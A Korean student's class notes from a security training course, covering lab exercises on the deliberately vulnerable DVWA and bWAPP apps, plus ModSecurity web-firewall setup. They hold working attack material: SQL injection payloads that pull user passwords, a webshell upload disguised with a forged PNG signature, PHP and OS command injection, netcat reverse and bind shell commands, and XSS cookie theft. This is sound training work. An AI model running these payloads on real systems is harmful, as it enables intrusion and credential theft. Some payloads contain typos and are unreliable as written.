SK shieldus Rookies 9기/애플리케이션 보안

애플리케이션 보안 수업 7일차 (22/09/14)

ksh_5 2022. 9. 14. 16:45
  • Blind SQL Injection

 

- DB에 대한 정보가 없는 상태에서 sql문 조작해 정보 알아내는 방법

- 에러는 힌트가 되어 오류 발생 → 자동화된 도구 사용(SQLmap)

 

 

  • Command Execution

 

- 공격자는 검색창에 리눅스 명령어 실행

 

 

DVWA SQL Injection 실습)

목적 : 모든 사용자 ID와 PW 알아내기

 

select id,,firstname,surname from ??? where id=' 

 

Q. 컬럼 개수 확인

더보기

A. ' union select 1 #               // 컬럼 개수 안 맞음

    ' union select 1,2 #           // 정상 실행

    ' union select 1,2,3 #       // 컬럼 개수 안 맞음

 

Q. DB 이름 확인

더보기

A. ' union selecct database(),version() #

      → dvwa

 

Q. Table 이름 확인

더보기

A. ' union select table_name,null from information_schema.tables #

      → 많은 양의 결과값

    ' union select table_name,null from information_schema.tables where table_schema='dvwa' #

      → dvwa 지정

 

Q. Column 이름 확인

더보기

A. ' union select column_name_null from information_schema.columns #

    ' union select column_name_null from information_schema.columns where table_schema='dvwa' and table_name='users' #

 

Q. user, password 추출

더보기

A. ' union select user,password from users #

     → dvwa에 있는 users 테이블에서만 데이터 추출

 

※ 참고 : columns 테이블과 tables 테이블에 table_name에 대한 정보 중복돼서 저장되어있기 때문

 

 

DVWA File Upload 실습)

더보기

① Medium

b374k-2.8php 파일 업로드 (pw : b374k)

→ proxy 도구 활용 upload된 모든 webshell 삭제

 

② High

- View Source 보면 strtolower : string을 모두 소문자로 변환하는 함수(대소문자 조작 불가)

확장자 검증 : jpg or jpeg or png만 업로드 가능

AND 조건으로 100kbyes 이하 가능

b374k-2.8php → 업로드 불가능

b374k-2.8png → 확장자만 보는 게 아니고 File Signature 확인

 

 

※ File Signature

더보기

- 파일 정체성을 나타내는 부분

- 파일의 맨 앞부분에 특정 표시 → 운영체제, Application에서 읽어들여 어떤 파일인지 확인

- Magic Number라고도 부름

 

 

  • HxD.exe

- Hex editor : 헥스 편집기

- PNG : 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

- JPG : FF D8 FF E0 00 10 4A 46 49 46      (ÿØÿà..JFIF)       → FF D8로 시작 , FF D9로 끝

- EXE : 4D 5A (MZ : Mark Zbicowski)                                   → MZ 없인 파일 실행 불가

- pptx, docx, xlsx, apk, zip 파일 : 50 48 03 04 (PK : Phill Katz)

 

 

b374k-2.8.png 파일 HxD에서 오픈 실습)

89 50 4E 47 0D 0A 1A 0A 추가 > 저장 > 업로드

 

http://192.168.5.128/dvwa/hackable/uploads/b374k-2.8.png

→ 웹쉘 실행 안됨, png라서 apache2에서 실행 불가능

 

Q. 확장자 png > php 변경

더보기

A. 리눅스 명령어 mv 이용 (레벨 > Low , Command Injection에서 사용)

; mv ../../hackable/uploads/b374k-2.8.png  ../../hackable/uploads/b374k-2.8.php

(pw : b374k)

 

 

  • 웹 해킹 대응 방법

 

웹 방화벽 차단 가능 공격 웹 방화벽 차단 불가능 공격
SQL Injection 검색엔진 정보 노출
Webshell Upload (98%) 난독화된 웹쉘 등 스트립트 업로드 (2%)
임의파일 다운로드 취약점  

 

 

  • Modsecurity 설치
더보기

$ sudo apt update

$ sudo apt install libapache2-mod-security2

$ sudo a2enmod security2

$ sudo systemctl restart apache2

$ sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

$ sudo vi /etc/modsecurity/modsecurity.conf            //  ※ : set nu 라인 보기

변경 > SecRuleEngine DetectionOnly → SecRuleEngine On

        > SecAuditLogParts ABDEFHIJZ → SecAuditLogParts ABCEFHJKZ

:wq    //저장 후 종료

$ sudo systemctl restart apache2

 

  • Modsecurity Rules 다운로드
더보기

$ sudo wget https://github.com/coreruleset/coreruleset/archive/v3.3.0.tar.gz  

$ sudo tar xvf v3.3.0.tar.gz

$ sudo mkdir /etc/apache2/modsecurity-crs/
$ sudo mv coreruleset-3.3.0/  /etc/apache2/modsecurity-crs/
$ cd /etc/apache2/modsecurity-crs/coreruleset-3.3.0/

$ sudo mv crs-setup.conf.example  crs-setup.conf

 

  • Modsecurity 설정
더보기

$ sudo vi /etc/apache2/mods-enabled/security2.conf

변경 > IncludeOptional /etc/apache2/modsecurity-crs/coreruleset-3.3.0/crs-setup.conf
           IncludeOptional /etc/apahce2/modsecurity-crs/coreruleset-3.3.0/rules/*.conf

$ sudo apache2ctl -t

$ sudo systemctl restart apache2

 

SQL문(' or 1=1 #) 작성

 

웹 방화벽 차단되어 나오는 화면

 

 

Beebox  A1. Injection /PHP Code Injection 실습)

- message 클릭 > test로 출력 (Reflected)

- URL에 test 대신 hello 삽입 시 hello 출력

 

Q. 리눅스 명령어 실행

더보기

A. ?message=exec('pwd')

    ?message=shell_exec('whoami')

    ?message=system('pwd')                                     // 두 번 뜸

    ?message=passthru('ps -ef')

    ?message=passthru('cat /var/log/wtmp')           // 로그 일부 확인 가능

 

 

  •  kali로 netcat 이용해 연결

 

// 윈도우 victim : -e cmd.exe    ,   리눅스 victim : -e /bin/sh

 

- Kali : attacker (Server)

$ nc -l -p 8888

 

- Beebox : victim (Client)

http://192.168.5.130/bWAPP/phpi.php?message=exec('nc 192.168.5.129 8888 -e /bin/sh')

→ 반응 없음 → cat /etc/group 보면 확인 가능

 

※ 참고 : 대부분 리눅스에 netcat 존재

 

 

Beebox  A1. Injection /OS Command Injection 실습)

입력 칸 입력 

- Beebox : victim (Server / Backdoor)

; nc -l -p 7777 -e /bin/sh

 

- Kali : attacer(Client)

$ nc 192.168.5.130 7777

 

 

Beebox Injection (GET/Select) 실습)

Q. Id와 pw 알 수 있다

더보기

A. ?movie=2 (iron man)

    ?movie=5 union select user,password from users                         // 컬럼 개수 맞지 않음(7개)

    ?movie=5 union select 1,login,password,4,5,6,7 from users        // 1~10 까지 DB 존재, 없는 번호 11,12 사용

 

 

Beebox A3. XSS /Reflected (GET) 실습)

스크립트 실행 : <script>alert('good')</script>

 

더보기

① Low : 그냥 실행

 

② Medium

 $ cd /var/www/bWAPP

 $ sudo vi xss_get.php      // (xss_check_4() 사용)

 $ sudo vi functions_external.php

    → functions_external.php 파일에 보안 수준에 따른 설정되어 있음

 

※ 참고 : addslashes함수는 ', ", \, NUL 앞 \ 붙여 Escape처리

              (Escape 처리 : 특수문자가 기능을 하지 못하도록 하는 것 → 모양 그대로 출력됨)

 

- 쿠키값 출력 : <script>alert(document.cookie)</script>

 

내 쿠키값

 

 

  •  CSRF (Cross Site Request Forgery)

 

- 스크립트 활용하는 공격으로 Client에게 주어진 권한으로 웹서버에 요청 보내 공격 방법

  ex) 자동 댓글 달기, 패스워드 변경

 

 

Beebox A8. CSRF /Change Password 실습)

더보기

Low : 소스코드 57~67번 라인 복사 > 메모장에 붙여넣기

>  57번 라인 /bWAPP 앞에 내 bWAPP IP 넣기

> 60,63번 라인 type="password" → "text"로 변경

> csrf.html로 저장 후 열어 pw를 sandwich로 입력 후 change 클릭